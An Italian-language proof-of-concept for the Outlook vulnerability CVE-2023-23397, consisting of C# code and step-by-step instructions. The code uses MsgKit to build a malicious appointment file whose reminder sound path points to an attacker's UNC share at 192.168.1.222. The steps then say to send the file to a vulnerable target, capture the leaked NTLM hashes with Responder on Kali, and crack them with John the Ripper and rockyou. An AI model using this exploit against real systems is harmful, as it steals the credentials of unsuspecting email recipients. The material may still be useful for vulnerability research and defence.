
CVE-2023-23397 C# PoC
CVE-2023-23397 PoC in C#
1- scarica msgkit
2- modifica la classe Appointment e aggiungi quanto segue:

3- crea una nuova classe all'interno del progetto per impostare le proprietà del file msg:
using MsgKit.Enums;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MsgKit
{
class Program
{
static void Main(string[] args)
{
using (var appointment = new Appointment(
new Sender("[email protected]", "moneertv"),
new Representing("[email protected]", "moneertv"),
"CVE-2023-23397"))
{
appointment.Recipients.AddTo("[email protected]", "muneer aqraa");
appointment.Subject = "CVE-2023-23397";
appointment.Location = "Neverland";
appointment.MeetingStart = DateTime.Now.Date.AddDays(2).Date;
appointment.MeetingEnd = DateTime.Now.Date.AddDays(3).Date;
appointment.AllDay = true;
appointment.BodyText = "CVE-2023-23397";
appointment.BodyHtml = "<html><head></head><body><b>testing CVE-2023-23397</b></body></html>";
appointment.SentOn = DateTime.UtcNow;
appointment.Importance = MessageImportance.IMPORTANCE_NORMAL;
appointment.IconIndex = MessageIconIndex.UnsentMail;
appointment.PidLidReminderFileParameter = @"\\192.168.1.222\";
appointment.PidLidReminderOverride = true;
appointment.Save(@"C:\Users\Moneer\Desktop\exploits\CVE-2023-23397\MsgKit-master\generated email msg\dirty.msg");
}
}
}
}
4- cambia le proprietà del tipo di output del progetto in console:

5- esegui il progetto per generare il file dirty.msg
6- invia il messaggio a un target vulnerabile e attendi che il promemoria della riunione si attivi.
6-2- mentre aspetti, sulla macchina Kali di cui abbiamo inserito l'IP nella classe principale, esegui il comando seguente per rimanere in ascolto di chi ha abboccato: # responder -I eth0 -v
7- una volta ottenuti gli hash, salvali in un file ed esegui john ripper sugli hash utilizzando una wordlist (es. rockyou)